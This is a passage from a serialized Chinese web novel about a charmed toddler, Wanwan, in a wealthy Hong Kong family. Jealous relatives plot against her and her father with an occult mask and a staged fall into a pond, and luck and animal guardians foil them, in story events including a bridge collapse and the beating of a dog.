他面容明明看起来很年轻，可是那双充苍凉孤独的眼睛，却与他的气质及为不符，像是一个年过半百的老朽，浑浊、脏污。 “王女士，这便是那位料事如神的道友，鸦先生。” “鸦先生好。”王素珍能够感觉到中年男子身上浑而有力的高深，本能的流露出恭敬的神态。 不像对待身边的大师那样随意。 鸦先生却并未抬头，声音低沉沙哑，如同砂纸摩擦：“黎夫人近日，麻烦不小。” 说着，枯瘦的手指将一枚漆黑的卦牌“啪”地一声按在桌面上。 那牌上刻着一个扭曲的、被剥去皮囊的诡异图腾，王素珍只看了一眼，就感觉到血腥恐怖。 她呼吸都不敢大声，低眉顺眼的请求：“还望鸦先生能帮我！” 鸦先生站起身，双手背负着，走到王素珍面前。 “请夫人抬起手，让我仔细查看。” 王素珍知道有很多高人，能够通过手相变化，推断出一个人的运势。 于是连忙抬起手，放在鸦先生眼前。 “夫人的手相呈现晦气，乃是冲撞吉星，引天道降罚，如今煞气已成，血光已现。 夫人，此乃大凶之兆！不出几日，要么你自身，要么身边亲眷替你承担反噬，面临血光。” “血光之灾？”王素珍浑身的汗毛都竖了起来，一股寒气从脚底瞬间窜上天灵盖，四肢百骸都冰冷僵硬。 心中一阵后怕，万幸没有就此作罢，遇到眼前的这位高人。 她当即给鸦先生跪了下去，寻求破解之法。 “还望先生指点，助我化险为夷！” 鸦先生浑浊的眼睛里闪过一丝幽光，他慢条斯理地从宽大的袖袍中取出一个物件。 是一个用暗黄色油布紧紧包裹的小包，形状不甚规则。 只见他一层层揭开油布，露出一张薄如蝉翼、近乎透明的东西。 王素珍和旁边的大师一同瞪大了眼睛，哪怕眼前这个东西经过特殊处理，仍然能够辨认出它的轮廓。 ——这分明是一张人脸！ 上面五官的起伏诡异，透着非生非死的灰败光泽。 它静静地躺在油布上，散发着难以形容的、混合着淡淡药味和一丝腐朽气息的味道。 王素珍用手捂着嘴，本能的发出阵阵干呕。 旁边的大师也紧皱了眉头，当下认出眼前之人，与剥皮门有关联。 “道友，据我所知，剥皮门前日刚被黎立轩联合港警署剿灭，就连其门主都未能逃脱，您尚能在这危险之地自由活动，想必身份不一般。”大师发出疑惑。 且见鸦先生隐隐透露出悲伤之色，望着手中的人皮面具，他淡声启齿。 “门主既是我的母亲，也是我的师傅，她从未对外宣告我的身份，却将毕生绝学传授，只为护我得道。门派被清缴那日，她散掉了毕生修为助我逃脱，不惜以自焚来切断踪迹，只为了护我一个周全。她为我做到此般地步，我怎么能苟且偷生，放着大仇不报！” 王素珍听了鸦先生讲述的前因后果，顿时止住了恶心。 黎立轩带人剿灭了他的师门，那么就是他的头号敌人，本着敌人的敌人就是朋友原则。 王素珍坚信，他一定会尽全力帮助自己。 “鸦先生的经历让我感到难过，今日您愿意出手帮我化解血光，他日我有什么能为您做的，必当尽力。” 鸦先生再一次将人皮面具递到她面前，“此乃‘替身面魇’。” 鸦先生的声音低沉而诡谲：“以秘法炼制，能暂时代替佩戴者，吸引厄运煞气。但它的需有一个‘引子’。” “需要什么样的引子？”王素珍问道。 “需将它置于彼方日常居停、气息最浓之地，最好是其运道正盛、生命力旺盛之时。 此魇会悄然汲取其一丝生机与旺运为引，将施加于你身的血光灾劫，暂时转嫁到彼身之上。 如此，你可暂得喘息，你的至亲亦可无恙。” 王素珍听懂了，重复着问：“意思就是说，需要一个气运正强，生命力旺盛的人，替我抵挡煞气？” “没错。” 王素珍脑海中第一个想到的就是黎立轩！ 人到中年，事业如日中天不说，妻妾和睦，子女有爱，团结一心，这世界上没有哪个男人比他更幸福了！ 想起他那日在聚会上，意气风发，红光满面的样子，王素珍就恨得慌。 看来眼前这位鸦先生还真是运筹帷幄，早就掐算好了一切，为黎立轩准备了一个‘死局’！ 她又何必专跟老爷子过不去，直接顺水推舟，铲除掉黎立轩，等同于直接除掉最大的障碍。 简直老天都在助她！ 王素珍眼睛闪烁着疯狂的兴奋，脱口而出：“鸦先生，我心中有个人选！” 鸦先生的神色浮现满意，将面具重新包裹，正式交给王素珍，并交代她，该摆放在什么方位，方能催动作用。 王素珍回到黎家，这件事交给别人办她不放心。 于是等到院子里的人都休息后，她独自出门，偷偷潜入黎立轩的书房。 她按照鸦先生的吩咐，在书柜最下方找到一个紧贴墙角、平时绝难被人注意到的阴暗角落。 她蹲下身，紧张撬开一块略微松动的踢脚线挡板，将那油布小包迅速塞了进去，再小心翼翼地将挡板恢复原状。 做完了这些，她感觉心情顿时开阔了起来，唇角勾起一道阴冷的弧，悄无声息的回到自己的住所。 …… 翌日，天气晴好。 小婉婉在宋珍珍的院子里吃完了午饭，回到黎墨郢的院子睡午觉。 睡醒后，她精神饱满的拉着王妈的手，叫她陪自己到院子里玩耍。 小婉婉在黎家的这半年，身高都抽长了不少，浑身的肉肉也长得紧实实的，已经完全不像刚来时那般瘦小，缺失营养。 两条小腿跑起来，也倒腾的很快，王妈和刘妈有时一起跟着跑起来，都追不上她。 此刻，眼见着小婉婉跑出了院子，追着小鸟越跑越远，王妈大喘气跟在后面跑，一边王泽华他活泼的身影，露出一脸的宠溺。 哪怕眼看着，小婉婉跑到老爷子平时不准别人接近的鲤鱼池边，她只是提醒她小心别掉到水里，并没有阻止她去看鱼。 就是因为她坚信，凭老爷和老夫人对小小姐的宠爱，整个黎家就没有她不能去的地方！ “王妈，花花绿绿的大鱼鱼！” 小婉婉最近刚跟老爷去水库钓过鱼，而且又吃过多多的鱼肉，所以看见鱼池里面各种颜色的大鲤鱼，就想着，如果做成美味一定很好吃！ 小婉婉美滋滋的跑到王妈面前，摇晃她的胳膊：“给我抓一条，吃肉肉。” 王妈被她小馋猫似的模样逗得哭笑不得，蹲下来说：“小小姐这个池子里的鱼不能吃，咱们看看就行了啊，您想吃鱼的话，咱们去告诉老爷，让他钓给你吃。” 然而小婉婉却好奇，同样是鱼，为什么这个池子里的却不能吃。 于是小脑瓜晃了晃，说：“不一样。” 意思是，外面钓的鱼，和这里的颜色不一样。 王妈一阵汗颜，正在想着要怎么劝小婉婉放弃，突然，身后传来一阵苍老，透着不满的抱怨。 “一个细路女，你们这些没脑子的蠢货，难道要把她惯上天不成？当心我告诉老爷子，让他好好惩治你们这些东西！” 王妈见到是吕洁芳，知道她的难缠程度，低声叫了句：“二奶奶。” “我这就带小小姐离开。”说完，她就要将小婉婉带走，避免被吕洁芳刁难。 到时大夫人和大少爷他们一定会责怪自己照顾不周。 吕洁芳没有说什么，只是眉头紧皱的看着小婉婉三岁的背影，气血翻涌，眼底浮现出浓浓的恨意和妒忌。 “一个野种也值得他们如此看重，甚至不惜为了她，把我的阿舒赶走！” “二奶奶，那我们现在就去把这件事告诉老爷？老爷最宝贝他这池子鲤鱼，知道小野种敢靠近，定然少不了责罚。”佣人从旁提醒。 吕洁芳却抬起手，制止了她的提议。 “老爷子喜欢这池鲤鱼是不假，可是只在这附近玩，和弄进去脏东西不一样！” 吕洁芳恶狠狠的攥起手。 心说，是你个小野种害得我阿舒被发配出国，小小年纪就这么会蛊惑人心，将来长大指不定抢去多少本该属于他们的东西！ 既然如此，那就别怪我心狠了。 吕洁芳将怨毒深深的刻进浑浊的眼睛里，低声命令：“你去到外面找个手脚利索的……” 佣人听了吩咐，立刻将吕洁芳送回院子，随即着手去外面安排。 入夜，港城的天被黑沉沉的云层笼罩，一个眉眼刻薄，眼神阴毒的中年妇女，被引进了黎家。 她很快就换上了佣人的衣服，混进了新招进来的佣人中间，并在交谈中，了解小婉婉日常生活的作息，和平日经常活动的方位。 第102章 小婉婉发生意外（二更） 清晨。 黎老爷和黎老夫人刚刚起来，正准备到餐厅用早茶，就见一个佣人神色慌张，连滚带爬的跑进门。 “老爷，不好了，小小姐在鲤鱼池边玩儿，不知怎么就掉了进去！” 黎老爷和黎老夫人同时一惊，前者反应过来，愤怒的斥责。 “那你们还不快去救？磨蹭什么！” 只见下人支支吾吾的解释：“老爷最心疼那池鲤鱼，没有允许，我们不敢……” 黎老爷气得吹胡子瞪眼，还没来得及发作，就被黎老夫人狠狠的瞪了一眼。 “看看！都是你玩物丧志，下了都是什么命令，我孙女儿要是发生意外，你给我走着瞧！” 黎老爷自己也是焦急万分，现在又被发妻指责，气得恨不得将那些没脑子的东西全都撵出大门。 但是眼下救人要紧，他来不及责怪，只道一声：“赶紧去救人！” 怒气冲冲的向鲤鱼池赶去。 …… 另一边。 吕洁芳身边的佣人进门，悄悄对吕洁芳汇报。 “二奶奶成了，那细路女落了水，果然没有人敢去救，老爷听后大发雷霆，现在所有人都在往鲤鱼池边去呢！” 吕洁芳听后，顿时发出一阵得逞的狂笑。 心头的郁结似乎都散去了一些，不过她仍然担心自己的安排被发现，问道：“你招来的那个人呢？” 佣人：“她做完，我就给了她钱，转了好几手，这会儿早就跑了，根本查不出是我们做的。” “那就好。”吕洁芳点了点头，满意的拄着拐杖起身。 “走，我们也去瞧瞧热闹！” 佣人扶住她的胳膊，同样露出得意之色。 “二奶奶，那咱们得抓点儿紧了，池子里的鱼那么多，要是去的晚了，兴许那女仔就变成鱼食儿，连尸体都找不到呢。” …… 小婉婉落水的消息，很快就在黎家传开。 彼时宋珍珍、朱丽月、黎墨城和黎墨冰等人全都收到消息，第一时间赶向鲤鱼池。 张南住的院子距离主宅子稍远，收到消息的一瞬间，心脏咯噔一跳！ 这半年她能顺心的生活在黎家，全都仰仗着小婉婉的功劳。 哪怕，黎立轩将她娶进门后，几乎没怎么来找她过…… 但是大家还是因为她是婉婉的生母，给了她不少照拂，平时说话都很客气。 她想起已经两三个月没见到的女儿，想念那张可爱的小脸儿，心里就一阵难受，不光是怕她日后的顺心生活保不住，也是心疼她的亲生骨肉。 张南慌慌张张的跑到院子中央，正好与要赶去池塘的老爷夫人相遇。 “老爷、老夫人，求求你们救救婉婉吧！”张南直接给她们跪下来磕头。 然而黎老爷哪里顾得上她？ 想到婉婉命在旦夕，他拖着年迈的身体，以最快的速度向池塘赶去。 黎老夫人把张南从地上拉起来，说道：“不要哭，我们正是带人去救她！” 张南顾不得擦眼泪，跟老夫人互相搀扶着，来到池塘边。 “快，你们还不快点下去救人，还愣着做什么！”就在黎老夫人焦急的催促声里。 众人却都站在水池边，一动也不动。 当黎老夫人也跑到岸边，查看池塘里的情况，也跟众人一起，齐刷刷的傻愣住了！ 只见—— 三岁多的小婉婉明明不会水，但是竟然因为惊动了池子里的鲤鱼群，抱着一条大鲤鱼，在池子里翻腾开了。 “哇，大鲤鱼，咕噜噜……”小家伙一会儿被鲤鱼带着冒出水面，一会儿又潜入水底，伴随着‘咯咯’笑声，简直就是年画娃娃有了生命，从画中跑来了出来。 “天啊，这真是太神奇了！”黎老夫人喃喃感慨。 黎老爷虽然也感觉到惊奇，可尚存理智，放任一个小孩子在池塘里太过危险，他赶忙叫了一声：“来人……” 不等他说完。 下一瞬！ 一只海东青自万里高空俯冲而下，就在所有人都以为，小婉婉又要落入危险的时候。 雄鹰锋利的爪子仅抓住了婉婉的衣服，将她从水里捞出，震动偌大的双翅，久久于低空盘旋。 而小婉婉的怀里还抱着那条硕大的鲤鱼，金灿灿的鱼鳞，映照着她脸上奶甜的笑。 她浑然不觉自己的处境有危险，只顾奶声奶气的和面前的黎老爷打招呼。 “快看阿爷，是大鲤鱼，婉婉要吃肉肉！” “吃、吃肉肉。”这下连黎老爷也懵啦，只本能的伸出双手，从海东青的爪子下，接过湿漉漉的小丫头。 小婉婉的怀里还抱着那条大鲤鱼炫耀呢。 “阿爷，看，婉婉捉的！” “厉害，婉婉真厉害。”黎老爷非但一点儿都不生气，还隐隐生出种与有荣焉的自豪之感。 “哎呦，可吓死我了！”黎老夫人望着扑打着翅膀，远去的海东青，后怕的拍了拍心口。 而黎家上上下下，都在见证了这样神奇的一幕后，议论纷纷。 “小小姐当真是吉星降世，就连老鹰都被她驯服了。” “是啊，听说前些日子，她还驯服了马场那匹最烈性的黑马，多神奇！” 黎墨冰和黎墨城听着下人们的讨论，眼观鼻，鼻观心，开始琢磨要怎么把这些人的嘴‘封住’。 小婉婉从水里上来后，就被黎老爷和老夫人带走了。 宋珍珍不放心，留下黎墨城和黎墨冰善后，便跟着公婆一起去帮忙照顾小婉婉。 朱丽月又一次见证了小婉婉的神奇，对她的关心只多不少，也跟在宋珍珍的身后一块去了。 至于同样陷入震惊中的张南，等她反应过来的时候，小婉婉早就被人抱走了，连影子都看不见。 “五妈，婉婉有阿爷阿奶照顾，您不用担心，余下的交给我们就好。”黎墨城走过来说。 张南确定婉婉平安，没有允许，不敢擅自去老夫人院子打扰，点了点头，就回自己的院子去了。 黎墨冰则趁着佣人们议论的间隙，以‘怀疑有人在捣鬼’为借口，提出要全面彻查，给佣人们施加压力，让他们无心再议论。 而这一查不要紧，佣人们为了洗清自己的嫌疑，努力提供线索，还真让黎墨冰揪住了苗头。 “大哥，昨天新来的佣人里，有一个来路不明的。” …… “二奶奶，老爷他刚刚……” 吕洁芳看着犹豫不定的佣人，将拐杖重重往地上一杵。 “直接说！” 吕洁芳因为走的太慢，赶到的时候，小婉婉已经被人救走。 而且黎墨城和黎墨冰两个精明的家伙，还仔细调查，发现了‘有人’在背后捣鬼。 吕洁芳这才让佣人出去打探，老爷子对这件事的态度。 佣人支支吾吾的开口：“黎墨城和黎墨冰施压封口，那些下人都怕惹上麻烦，都不肯说当时的情况，就知道老爷把那丫头带回去，让厨房把那条鱼给炖了……” 吕洁芳：“……” 她身体剧烈地向前一躬。 噗的一声。 腥甜的气息上涌，一大口暗红色的、粘稠的鲜血从吕洁芳的口中喷了出来。 剧烈的痛苦让她整个人都蜷缩起来，身体不受控制地颤抖。 然而，就在这极致的痛苦之中，她的表情却开始扭曲，眼底浮现毛骨悚然的笑。 “呵……呵呵……” 她的声音干涩、破碎，是从喉咙深处被血沫和痛苦挤压出来的，断断续续，附着一种令人脊背发凉的诡异腔调。 “哈哈……平日里哪怕是亲生子孙走近池塘，他都要发脾气，如今……如今咳咳……” 吕洁芳一边笑，一边猛烈地咳嗽，更多的血沫从她齿间溢出，“好，真是好啊，他老眼昏花将那细路女纵上天，他……他……他……哈哈哈……” 吕洁芳嘶哑地笑着，声音越来越低，最终被又一阵剧烈的咳血打断，整个人脱力地向后倒去。 佣人被她的样子吓得一动不敢动，直到她闭上眼睛晕厥过去，才脚步惊慌的出去找医生。 “来人啊，快叫医生过来，二奶奶她刚才吐血昏迷了！” …… 王素珍收到消息从娘家赶回来，医生刚给吕洁芳进行过治疗。 她看着吕洁芳苍白毫无生机的脸，明明都已经被耗光了精力，竟然仍然吊着一口气不死。 心中冷笑她真是命大！ 王素珍一点都不怀疑，鸦先生口中的‘血光’本该印证到吕洁芳的身上。 是她出手转嫁给了黎立轩，才保住了她这条老命。 “你们好好照顾着二奶奶，家里的任何人，不准过来打扰，若出现半点差错，唯你们是问！” 吕洁芳这一倒下，二房的事务由王素珍全盘接手，自然拿出了当家的姿态。 而她之所以这么做，既是一种保护，避免黎墨城和黎墨冰过来调查，发现什么。 也是在生气婆婆不听自己的劝告！ 她明明就交代过，让她不要轻举妄动，可她偏偏不听，还去要害那个细路女。 她以为随便从外面找个人，就能做到天衣无缝？ 殊不知她这一气血攻心，直接暴露目标，很难不被查到头上！ 王素珍亲手为黎立轩准备了一场死祭，可不想在这么关键的时候，被拖后腿，引起黎家人的怀疑。 佣人们不敢忤逆她的命令，全都垂首应：“是。” 第103章 鼻子都气歪了（一更） 黎墨冰在发现小婉婉落水的端倪后，与黎墨城开启了整体彻查，每一个佣人的口供，都是他们寻找线索的重要源头。 待搜集完了线索，二人来到老夫人的院子，将情况告知长辈。 “根据佣人提供的线索，那个人是昨天晚上混进了新人宿舍，通过打探了解婉婉的作息时间，以及生活习惯，然后趁着刘妈与王妈都无暇顾及的时候，钻了空子，将婉婉引到了鱼池。” 至于小婉婉是怎么掉下去的，黎老夫人和宋珍珍详细的问过。 小婉婉的话是这样讲的：“婆婆说，大鲤鱼好吃，抓到就能吃。” 虽然小家伙回答得很含糊，但也能判断出，就是那个人撺掇小婉婉下水抓鱼。 而小婉婉如果是普通的孩子，在不懂安全常识的情况下，很有可能会直接溺亡。 好在小婉婉天赋异禀，有天道庇护，才能安然无恙。 黎老夫人提到那只海东青，频频朝着它飞走的地方作揖。 “一开始我还以为，它是奔着那一池子鲤鱼来的。现在看，它是分明是有灵性的守护神，为了婉婉才来到咱们家的！” 众人见到了海东青救人的一幕，自然认可老夫人的话。 在心里默默感谢海东青后，黎老爷子面色严肃的拍响了茶几。 “给我查到底，我要看看是谁不知好歹，敢害我的宝贝孙女！” 千雪闻声后，嫌弃的瞪了他一眼。 “家里总共就这么多口人，谁是真心对婉婉好，谁又对婉婉看不惯，你我都心知肚明。” 黎老夫人眼线遍布黎家，自然知道吕洁芳下午吐血的消息。 早前孙师傅就说过，婉婉奶瑞凤降世，有天道庇护，凡是妄想加害之人，都会遭到反噬。 现在看，报应来得就是这么快！ 黎老爷被怼的没面子，尴尬的老脸通红，干巴巴的说道：“我的意思是，就算有了怀疑对象，也得讲究个证据。” 黎老夫人脸上的嫌弃越发不加掩饰：“你快点闭嘴吧，人都已经被反噬成了那样，说的好像有证据，就轮得到你追究似的！” 黎老爷：“……” …… 晨光熹微，黎立轩整理好西装领带，手提公文包，步履匆匆地走向等候在宅邸门口的黑色轿车。 “大爷早。”司机早已恭敬地拉开车门，等在一侧。 黎立轩赶着去面见劳伦斯家族的继承人进行重要谈判，约定好的时间不能迟到，上车便命令司机开走。 由于黎立轩在昨日的应酬中喝了很多酒，以至于车子一晃动起来，就感觉一阵天旋地转。 他闭着眼睛，靠在座椅上闭目养神，等到抵达公司再调整状态。 嘶嘶。 刷刷刷。 轻微的触碰，将黎立轩从昏昏沉沉的状态中唤醒。 他一睁开眼睛，就对上一双圆溜溜，黑漆漆的大眼睛。 是小婉婉，她穿着学园的校服，头上顶着两只奶萌萌的小揪揪，同样也是满头雾水。 她明明上的就是学园的车呀？ 怎么爸比也在这里？ “爸比，你要送婉婉去上学么？”小丫头奶呼呼的问。 黎立轩一个头两个大，尤其是看见她手里拿着画笔，在他的文件上，画了一些看不懂的形状，当即脑瓜子嗡的一声。 他用手扶住额头，让司机将车子停在路边。 而后严肃的问：“你们早上是怎么检查车子的，小小姐在车上都没发现！” 司机也是在小婉婉说话的时候，才发现她的存在。 拉着一张苦瓜脸，他满脸无辜：“不知道啊大爷，我就是等您的时候去了趟厕所。” 黎立轩发觉自己板着脸的样子，可能吓到了小家伙，就连画画的手都停住了。 黎立轩赶忙换了一副面孔，双眼含笑，摸了摸小丫头的头。 “婉婉不怕，爸比没有怪你。” 随即黎立轩看着那几张被画上了花的文件，眉头下意识地拧紧，但是目光触及到小婉婉天真烂漫的大眼睛，责怪的话，如何都说不出来。 罢了，既然她已经在车上，且文件已经损毁，就算时间来得及，也于事无补。 黎立轩只好命令司机，将车子调转方向，先送小婉婉去学园，然后再让助理补一份文件，直接送给劳伦斯先生，然后再替他解释为何而迟到。 司机按照黎立轩的吩咐，调转车头。 忽然！ “轰隆！！！！！” 巨大的冲击，连同地面随之剧烈震颤！ 司机被吓得手一抖，车子猛烈的摇晃了一下，才在路边停住。 黎立轩不仅稳住自己的身体，还要照顾好小婉婉的安全，用手臂一拦，将小家伙抱在怀里。 他转头看去，脸色骤变——只见前方几百米处，他们原本要经过的那座横跨河谷的公路大桥，中间长达数十米的桥面如同被巨力碾碎的饼干般，毫无征兆地断裂、扭曲、坍塌下去！ 巨大的钢筋混凝土块和扭曲的钢筋疯狂砸向下方的河床，激起冲天烟尘和水浪！ 几辆正在桥面上行驶的车辆瞬间随着断桥坠落，消失在可怕的废墟与混浊水雾之中。 黎立轩脸色煞白，抱着小婉婉的手，发出细微的颤抖。 如果不是小婉婉在车上，弄坏了文件，他也不会让司机掉头。 而如果按照刚才的车速前进，他们连人带车，都将和那些车子一起，坠落到江里！ 霎时，一种难以言喻的、劫后余生的巨大庆幸和深入骨髓的后怕，如同冰水般瞬间浸透了他的四肢百骸。 他看着面前还眨着萌萌哒大眼睛的小奶宝，用力将她抱在怀里，声音带着一丝不易察觉的颤抖。 “文件……坏得好……坏得……真是时候……” 他真是，幸运。 …… 黎立轩将小婉婉送去了学园，从另一条路赶往洽谈现场。 他以为自己迟到这么久，劳伦斯先生会非常不满，对他抱怨。 没想到劳伦斯先生和在坐的众人，都收到了桥梁断裂的消息，关心他有没有遇到危险。 “幸好，我女儿坐在我车上，不小心弄坏了文件，耽误了时间，让我躲过这一劫。”黎立轩解释的时候，声音还带着容易察觉的颤抖。 劳伦斯先生邀请他落座，安抚一阵后，正式开始合作洽谈。 而黎立轩却怎么也集中不了注意力，在心头规划起了另一件更要紧的事…… 终于熬到了会议结束，黎立轩道别了劳伦斯先生，便火速给助理下令。 “你去联络港城内府，大桥修建的费用，我愿以个人名义出资。只有一点要求，大桥修建好后，以‘婉婉’来命名。” 黎立轩觉得，自己能够躲过这此劫难，除了运气好，更多还是因为婉婉的福泽，帮他避开了危险。 想到丧命在事故中的人，黎立轩心中升起一股悲悯来。 他总觉得，自己要做一些义举，以报答婉婉给他的这份福泽。 他不敢邀功，而是将大桥以婉婉来命名，心头方觉得安稳。 同时，黎立轩又为小婉婉考虑，不想被人关注到她的神奇能力，继续对助理交代：“还有，这件事悄悄的去办，别让不相关的人知道。” …… 吕洁芳在床上整整昏迷了三天，才逐渐苏醒过来。 她睁开眼睛的第一件事，就是抓住佣人的手，紧张询问她们从外面找人进来的事，有没有暴露。 佣人摇了摇头，“没有，大夫人特意下了命令，任何人都不准来打扰你。” “那就好，那就好。” 吕洁芳松了一口气，这三天里她除了被喂一点水，没有吃过任何东西，腹部不断传来咕咕的叫声，饿得她心慌。 “去给我端些茶点，我都快要饿死了。” 佣人见她主动要东西吃，就确定她已经没事了，答应着向厨房走去。 “汪汪，汪汪汪！” 佣人一脚刚踏出门口，院门外的狗吠声便响起，黑白相间的边境牧羊犬呲着锋利的牙齿，两只前爪不断攀着铁门，似乎随时都可能冲进来。 佣人被吓得脸色苍白，小心翼翼的绕着墙边走。 嘴里呵斥：“畜生东西，到这儿来乱叫什么？滚！” 等到走远一些，佣人从地上捡起一块砖头，冲着铁门扔过去。 没想到她的举动非但没把狗给吓走，反而激起了更加强烈的咆哮。 “汪汪汪汪汪。”的狗叫声不绝于耳，屋里的吕洁芳被吵得太阳穴直突突。 等到佣人带着糕点过来，她不耐烦的问道：“哪里来的畜生，一直叫，怎么就没人管管？” 佣人叹了口气，解释：“是黎墨郢养的，自从那天您晕倒，它就一天到晚的蹲在咱们门口，院子里的人怕它咬人，连门都不敢开。” 吕洁芳提到黎墨郢，就想起之前被他报复，花粉过敏住到医院的事。 也就那一次，让她见识到了大魔王的可怕之处，不敢再轻易招惹。 只憋屈的说：“既然是黎墨郢的狗，为什么不通知他来弄走？” “黎墨郢不在，倒是让人传话叫了饲养员，前脚刚把它弄走，没一会儿就又跑过来，根本就关不住！” 吕洁芳气得鼻子都歪了，奈何她现在就连说话都费力，又哪来的力气去撵狗？ 只能捏着大块的糕点，不停往嘴巴里送。 第104章 晚安，小家伙 吕洁芳吃饱喝足，躺在床上等待体力恢复。 然而，大门外的狗像是专门跟她作对一样，只要她开口和谁说话，它就“汪汪汪”的叫个不停。 直到吕洁芳要睡觉了，那只狗都不肯走。 它用两只前爪扒着铁门，发出‘哐哐’的动静，配合不间断的吠叫，吵得人根本没办法休息。 “我受够了，来人，来人！你们能不能把它给我赶走？” 佣人苦瓜着脸进来说：“二奶奶，我们都过去赶它好几次了，它就是不走，还咬断了两根扫把。” “一群没用的废物！”吕洁芳挣扎着起身，佣人见状，连忙过来搀扶。 并劝说：“二奶奶，您还不能下地，那畜生叫就让它叫吧，等它累了，自然就走了。” “这样下去你让我怎么睡觉？不行，我就不信，这么多人，处置不了一只畜生！” 吕洁芳心下发狠，强撑着身体走出门外。 “你们几个，拿上工具，出外面把它给我抓住！既然黎墨郢不管这畜生，那我就好好帮他管教！” 吕洁芳指挥佣人去打狗，反正黎墨郢不在家，干脆直接打死扔出去，以泄她心头之恨！ 佣人按照吕洁芳的命令，怯生生地上前，试图用扫帚隔着门打它的头。 但那边牧极其敏捷，非但没被吓退，反而因为受到挑衅而更加狂躁，吠叫声愈发尖锐。 吕洁芳看得火大，觉得佣人办事不力，更嫌那狗叫声刺耳，不耐烦地摆手：“真是没用！我让你们把门打开，出去把它抓住！别再让它乱叫了。” 最前面的佣人犹豫了一下，但还是上前，小心翼翼地将大门拉开一道狭窄的缝隙，正准备用扫帚防御的时候—— 矫健的边牧如同一道黑白相间的闪电，猛地从缝隙中挤了进来！ 只见它目标明确，越过院子里的佣人，径直就朝着站在门廊下的吕洁芳冲去！ “啊——！”吕洁芳吓得尖叫一声，腿脚不便的她根本来不及躲闪。 千钧一发之际，贴身照顾她的佣人下意识地扑过来，挡在了她身前！ “嗷呜！”边牧一口狠狠咬下，尖厉的牙齿瞬间刺穿了佣人的裤腿，深深陷入她的大腿肌肉中！ 佣人婆子发出凄厉的惨叫，鲜血迅速涌出，染红了裤管。 吕洁芳惊魂未定，看到佣人被咬得鲜血淋漓的大腿，自己都替她疼的慌。 极度的惊吓和愤怒让她面容扭曲，尖声叫嚷：“快！快给我打死它！拿棍子！拿石头！你们都愣着干什么！” 佣人们不敢怠慢，纷纷抄起手边的工具，木棍、扫把、甚至是花园里的石块，对疯狂咬人的边牧一拥而上。 而被咬的佣人则趁机抓住边牧的头，乱棍和石头如雨点般落下，边牧发出痛苦的哀鸣。 它松开了口，试图躲闪、突围。 但四面八方都是攻击，它再敏捷也无法完全躲开。 一根沉重的木棍狠狠砸在它的后背上，它发出一声极其凄厉的惨叫，踉跄了一下。随即又被一块飞来的石头砸中头部，终于支撑不住，呜咽着瘫倒在地，身体微微抽搐，再也站不起来。 吕洁芳见状，这才稍微松了口气，但脸上的戾气未消，抬起手里的拐杖，用力在狗头上砸下去。 “让你叫，我让你咬人，畜生东西，把它给我绑起来，关到杂物房，先饿它两天，再打死丢出去！” 佣人们听了她的话，手背上都冒起了密密麻麻的鸡皮疙瘩。 饿完之后再打死，根本就是活生生的折磨，未免太过于残忍。 但是她们都在吕洁芳手底下做事，她的吩咐又不能不听，只能按照她的话，将一动不动的边牧犬捆住，送到杂物房里关着。 …… 夜色如墨，万籁俱寂，只有窗外偶尔传来几声遥远的虫鸣。 少年轻轻推开房门，动作轻柔得几乎没有发出任何声响。 少年容颜冷峻，眸色仿佛与天外的黑夜融合在一起，身影修长、高挑。 随着他缓缓进门的脚步，身上还带着夜露的微凉和山林间特有的清新草木气息，慢慢的靠近床铺。 屋内，一盏小小的夜灯散发着柔和昏黄的光晕，映照着床边的一小片天地。 床上三岁的小奶娃，穿着湖蓝色的上下分离款式的小睡衣和小睡裤侧躺着，胖乎乎的小手攥着被角，粉嘟嘟的脸颊压着软枕，呼吸均匀绵长。 小扇子似的睫毛在眼睑下投出安静的阴影，嘴角微微上扬，似乎正做着什么甜美的梦，偶尔还会无意识地咂咂嘴。 黎墨郢无声无息的蹲在她面前，让自己的视线与她的小脸蛋儿持平。 锋芒锐利的眼神，在触及小丫头可爱睡颜的瞬间，如同冰雪遇到暖阳融化，覆盖上了层层温柔。 连日奔波的疲惫和修行的紧绷心情，在这一刻被彻底抚平。 他的嘴角不自觉地扬起一抹宠溺的弧，伸出手指，用指背碰了碰小丫头温热柔软的脸颊，滑溜溜触感，像极了细腻的暖玉。 似乎是感觉到了这细微的触碰，小婉婉又砸吧砸吧小嘴儿，发出一声模糊的呓语。 黎墨郢听清楚了。 她刚才叫的是：三哥哥。 俊俏面孔上的笑容放大，他就这样静静地蹲在床边，看了好久好久，仿佛怎么看也看不够一般。 直至强烈的困意袭来，他才起身洗漱，来到床铺，将熟睡的小丫蛋儿往里面移了移，闭眼，躺在枕头上。 “晚安，小家伙。”他摸摸她的头，安然入梦。 …… 清晨柔和的阳光透过薄纱窗帘，小婉婉用小手揉了揉眼睛。 而后迷迷糊糊地翻了个身，小脚丫无意中蹬到了旁边一个温暖的“障碍物”。 她好奇地扭过头，下一秒，那双还带着模糊的大眼睛，瞬间睁得圆溜溜的，充满难以置信的惊喜！ “三哥哥！” 黎墨郢正侧身睡着，呼吸均匀，似乎十分疲倦，听见呼声也只是睁开眼睛看了下，就又合上。 不过他还是伸出手，将小丫头拉到了怀里。 “别吵，让我多睡一会儿。” 然而小婉婉哪里还有睡意？ 小脸上绽放出灿烂无比的笑容，像朵迎着太阳盛开的小向日葵。 头上的乱毛随着她脑瓜的乱晃，不断蹭着他的下巴。 “咯咯……”小家伙看着黎墨郢安静的睡颜，忍不住发出极轻的、兴奋的笑声。 好似收到了特别喜欢的礼物一般。 黎墨郢无奈的再次睁开眼睛，深邃的凤眸，涌上浓浓的宠溺和温柔，嘴角也在上扬着。 “小调皮，回来就不让人睡觉？” “三哥哥，我好想你呀！”小婉婉一把抱住黎墨郢的胳膊，把小脸儿也贴了上去。 简直就是块小小的牛皮糖，紧紧的粘住他不松。 黎墨郢到底是男孩子，被她粘得不太自在，抱着她坐起来，找到梳子给她梳头。 一边问：“最近在家里乖吗？” 小婉婉点头如捣蒜：“乖乖哒，一点儿都没乱跑。” “真的？那我怎么听说，你自己跑到水池子里去捉鱼？”黎墨郢虽然在外面修行，但还是会隔三差五的打电话回家，询问婉婉的生活情况。 而昨天他在电话中得知，小婉婉被有心人加害，立刻暂停了修行，与祁山连日往回赶。 小婉婉被问得心虚虚的，咧开小嘴儿‘嘿嘿’笑了一声。 奶声奶气的保证：“不打屁屁，婉婉再不去了。” “既然你知道什么事危险不能做，以后就不要明知故犯。”黎墨郢叹了口气。 打是舍不得打的，但不妨碍他教育几句。 小丫头连忙点头，等黎墨郢帮她把头发梳理好，她下地抱着校服，跑到客厅里更换。 